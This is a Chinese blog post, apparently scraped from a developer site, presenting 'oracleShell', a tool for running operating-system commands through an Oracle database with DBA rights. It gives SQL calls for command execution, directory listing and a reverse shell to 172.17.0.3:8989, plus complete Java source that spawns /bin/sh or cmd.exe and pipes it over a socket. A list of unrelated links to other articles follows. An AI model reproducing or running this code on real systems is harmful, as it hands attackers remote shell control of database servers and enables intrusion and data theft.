oracleShell oracle 数据库命令执行

测试环境-DBA权限:

SELECT * FROM v$version

Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production

PL/SQL Release 11.2.0.1.0 - Production

"CORE11.2.0.1.0Production"

TNS for 32-bit Windows: Version 11.2.0.1.0 - Production

NLSRTL Version 11.2.0.1.0 - Production

Function

命令执行

select run('exec','whoami','UTF-8') from dual;

文件管理

select run('list','/usr','UTF-8') from dual;

获取当前路径

select run('getCurrentDir','','UTF-8') from dual;

反弹shell

select run('connectBack','172.17.0.3^8989','UTF-8') from dual;

Shell.java

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStream;

import java.io.OutputStreamWriter;

import java.net.Socket;

import java.util.Date;

public class Shell extends Object {

public static String run(String methodName, String params, String encoding) {

String result = "";

if (methodName.equalsIgnoreCase("exec")) {

result = Shell.exec(params, encoding);

} else if (methodName.equalsIgnoreCase("list")) {

result = Shell.list(params, encoding);

} else if (methodName.equalsIgnoreCase("getCurrentDir")) {

result = Shell.getCurrentDir();

} else if (methodName.equalsIgnoreCase("connectBack")) {

String ip = params.substring(0, params.indexOf("^"));

String port = params.substring(params.indexOf("^") + 1);

result = Shell.connectBack(ip, Integer.parseInt(port));

} else {

result = "unkown methodName";

}

return result;

}

public static String exec(String cmd, String encoding) {

String result = "";

if (encoding == null || encoding.equals("")) {

encoding = "utf-8";

}

Process p;

try {

p = Runtime.getRuntime().exec(cmd);

try {

p.waitFor();

} catch (InterruptedException e) {

result += e.getMessage();

e.printStackTrace();

}

InputStream fis;

if (p.exitValue() == 0) fis = p.getInputStream();

else fis = p.getErrorStream();

InputStreamReader isr = new InputStreamReader(fis);

BufferedReader br = new BufferedReader(isr);

String line = null;

while ((line = br.readLine()) != null) {

result += line + "\n";

}

} catch (IOException e) {

result += e.getMessage();

}

return result;

}

public static String list(String path, String encoding) {

String result = "";

if (encoding == null || encoding.equals("")) {

encoding = "utf-8";

}

File file = new File(path);

File[] items = file.listFiles();

for (int i = 0; i < items.length; i++) {

File item = items[i];

String type = item.isDirectory() ? "

String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";

if (size.equals("0KB")) size = item.length() + "Byte";

String date = new Date(item.lastModified()).toLocaleString();

result += date + " " + type + " " + size + " " + item.getName() + "\n";

}

return result;

}

public static String getCurrentDir() {

String result = "";

File directory = new File("");

try {

result = directory.getAbsolutePath();

} catch (Exception e) {

}

return result;

}

public static String connectBack(String ip, int port) {

class StreamConnector extends Thread {

InputStream sp;

OutputStream gh;

StreamConnector(InputStream sp, OutputStream gh) {

this.sp = sp;

this.gh = gh;

}

public void run() {

BufferedReader xp = null;

BufferedWriter ydg = null;

try {

xp = new BufferedReader(new InputStreamReader(this.sp));

ydg = new BufferedWriter(new OutputStreamWriter(this.gh));

char buffer[] = new char[8192];

int length;

while ((length = xp.read(buffer, 0, buffer.length)) > 0) {

ydg.write(buffer, 0, length);

ydg.flush();

}

} catch (Exception e) {

}

try {

if (xp != null) xp.close();

if (ydg != null) ydg.close();

} catch (Exception e) {

}

}

}

try {

String ShellPath;

if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {

ShellPath = new String("/bin/sh");

} else {

ShellPath = new String("cmd.exe");

}

Socket socket = new Socket(ip, port);

Process process = Runtime.getRuntime().exec(ShellPath);

(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();

(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();

} catch (Exception e) {

}

return "^OK^";

}

}

参考链接:

rebeyond-oracleShell.jar

框架连接Oracle报502,GitHub - jas502n/oracleShell: oracle 数据库命令执行相关推荐

  1. 解决连接oracle报错 尝试加载Oracle客户端库时引发BadImageFomatException。如果在安装64位Oracle客户端组件的情况下以32位模式运行,将出现此问题的报错。

    解决连接oracle报错 尝试加载Oracle客户端库时引发BadImageFomatException.如果在安装64位Oracle客户端组件的情况下以32位模式运行,将出现此问题的报错. 参考文章 ...

  2. jforum oracle报错,JForum安装在Oracle数据库上

    参考资料:http://jforum.net/install_no_wizard.jsp 1. 数据库配置 首先,你的安装数据库,这里安装的是Oracle,不解释. 打开 WEB-INF/config ...

  3. abp框架连接mysql报错_ABP框架应用-MySQL数据库集成

    1.  框架以外依赖包引入 1.1.  Pomelo.EntityFrameworkCore.MySql 1.2.  Pomelo.EntityFrameworkCore.MySql.Design 2 ...

  4. oracle报错查询动态视图,oracle基表和动态性能视图

    1. 数据字典是oracle数据库中最重要的组成部分,它提供了数据库的一些系统信息.它是只读表和视图的集合,所有者为sys用户.用户自能在数据字典上执行查询操作,而维护和修改是由系统自动完成的. 数据 ...

  5. oracle报错Error while registering Oracle JDBC Diagno

    2019独角兽企业重金招聘Python工程师标准>>> 解决办法:原因是jdbc驱动不是最新的:因此到这里http://www.oracle.com/technetwork/data ...

  6. oracle 报12560,UNIX系统中Oracle报TNS-12560错误的解决思路

    前几天接到客户的一个电话,需要到现场解决一个问题.客户的电话就是命令,于是放下手中的活,急忙赶往客户现场.到达客户现场后,客户反应本地的一个应用程序隔一段时间就报错,同时客户传来了一张报错的图片,如下 ...

  7. exp备份oracle报错1455,EXP-00008 遇到 ORACLE 错误 1455

    EXP-00008 遇到 ORACLE 错误 1455 一.在东传备份数据库时报如下错误: EXP-00008 遇到 ORACLE 错误 1455 ORA-01455: 转换列溢出整数数据类型 二.错 ...

  8. oracle报错分类,localdateTime与oracle映射报错无效列类型

    当前使用版本(必须填写清楚,否则不予处理) com.baomidou mybatis-plus-boot-starter 3.1.2版本 但是1.0.5版本没有问题,可以正常映射使用 该问题是怎么引起 ...

  9. 小黑框如何连接mysql_珍藏版(cmd小黑框)数据库命令及操作

    话不多说直接来,后续补充. 查看数据库 show databases; 创建数据库 create database 2018; 使用数据库 use 2018; 查看数据库中的所有表 show tabl ...

最新文章

  1. Oracle中INSTR和SUBSTR的用法
  2. webrtc fec
  3. mysql f参数_MySQL 数据类型
  4. 织梦dedecms dede plus文件作用介绍及安全设置
  5. 悉尼大学 伦敦大学联合出品:知识蒸馏最新综述
  6. Golang的time包:秒、毫秒、纳秒时间戳输出
  7. Android---AlertDialog
  8. Nhibernate代码生成器v2.1中文版
  9. asp.net 性能调较
  10. BDD(行为驱动开发)
  11. 高校表白App-团队冲刺第十天
  12. jQuery做的自定义选项卡
  13. java 登录md5加密_javaMD5加密及登录验证(备忘)
  14. 哆啦A梦版主题餐厅手游《机器猫烧烤店BBQ》
  15. 医学图像分析领域算法汇总
  16. UEditor定制工具栏图标
  17. 如何在线下载哔哩哔哩上的视频
  18. 华为手机多屏互动功能使用
  19. #ACCV2022还有两周截稿#疫情过后期待相聚澳门,相邀参与亚洲视觉盛会
  20. windows操作系统运用jacob转换文件,并添加水印

热门文章

  1. 三立期货:掌财社怎么用筹码分布图看主力成本?
  2. 大一c语言题库 河南工业大学,河南工业大学C语言题库
  3. Linux系统下实现开机自动加载驱动模块
  4. NB-IOT 通信问题-IP老化
  5. AlertDialog源码浅析
  6. 服务器2012系统更新后蓝屏怎么删除更新,win10更新补丁后蓝屏怎么删?win10更新补丁后蓝屏的解决方法...
  7. 华为鸿蒙系统智能手机_华为宣布推出鸿蒙2.0系统 首款“鸿蒙手机”年底登场...
  8. 2021-07-02Leetcode236.二叉树的最近公共祖先
  9. 平面几何----梅氏定理的证明
  10. raise BrowserError pyppeteer.errors.BrowserError: Browser closed unexpectedly(服务器是fedora)